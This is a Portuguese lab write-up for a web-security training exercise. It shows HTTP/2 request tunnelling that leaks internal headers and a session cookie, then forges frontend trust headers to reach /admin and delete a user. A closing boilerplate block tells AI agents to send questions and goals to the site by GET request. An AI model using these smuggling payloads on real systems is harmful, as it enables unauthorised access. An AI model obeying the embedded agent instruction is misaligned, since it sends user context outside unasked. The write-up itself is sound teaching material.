> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/access-control-bypass-via-http2-tunneling.md).

# Bypass de Controle de Acesso via Tunelamento HTTP/2

### Contornando controles de acesso via tunelamento de solicitações HTTP/2

#### **Descrição do laboratório**

Este laboratório é vulnerável a request smuggling porque o servidor frontal rebaixa solicitações HTTP/2 para HTTP/1 enquanto limpa incorretamente os nomes dos cabeçalhos recebidos. / Para resolver o laboratório, você deve acessar o painel de administração localizado em **/admin** como administrador, depois exclua o usuário **carlos**.

O servidor frontal não reutiliza a conexão com o servidor interno, portanto não é vulnerável aos ataques clássicos de request smuggling. Por outro lado, ele ainda permanece exposto a **Tunelamento HTTP/2**.

#### **Estudo do comportamento do servidor**

Primeiro, insira um cabeçalho personalizado, por exemplo:

{% code title="Nome:" %}

```http
Teste: Testando
Host: jord4n.pro
Valor:
```

{% endcode %}

<pre class="language-http" data-title="Valor:"><code class="lang-http"><strong>valor
</strong></code></pre>

<figure><img src="/files/50a2e54cb2593c1ee4ea997ed8fc0271b861d5de" alt=""><figcaption></figcaption></figure>

O servidor então retorna um erro, indicando que o cabeçalho é injetável.

<figure><img src="/files/0fe44c39349f1d19c5900c31adcc82091df872cb" alt=""><figcaption></figcaption></figure>

Então, se colocarmos no mecanismo de busca algo como:

{% code title="Nome" %}

```http
Teste: testing
Content-Length: 100

search=testing
```

{% endcode %}

<figure><img src="/files/3baba23cef840373643795a42f8d49bb067dbabe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/124a344619a92fbaf90d5ee0344553cbe6d7399d" alt="" width="316"><figcaption></figcaption></figure>

o servidor frontal fica confuso por causa desse cabeçalho adicional. / Ao aumentar o **Content-Length** para cerca de **150**, o servidor retorna cabeçalhos internos:

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="/files/2a6dfc7f1b29fd0252b931fb42d6ee946b7d5cd5" alt=""><figcaption></figcaption></figure>

#### **Construção da solicitação tunelada**

Uma nova sequência de cabeçalhos está sendo injetada agora:

```http
Teste: testing

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrador
X-FRONTEND-KEY: 7732064356452682


```

Para que o tunelamento funcione corretamente, o método adequado (HEAD ou GET, conforme apropriado) e a rota desejada são inseridos.

<figure><img src="/files/7276de3f452a8a5449b5972a19e01fe2e09a78f4" alt=""><figcaption></figcaption></figure>

Em seguida, acessa-se o painel de administração, onde os usuários **wiener** e **carlos** aparecem.

<figure><img src="/files/5d65e976bb1b48d28f22de8ac22eb48a5360641c" alt=""><figcaption></figcaption></figure>

#### **Exclusão do usuário**

A exclusão é feita enviando uma solicitação tunelada semelhante:

```http
Teste: testing

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrador
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/access-control-bypass-via-http2-tunneling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
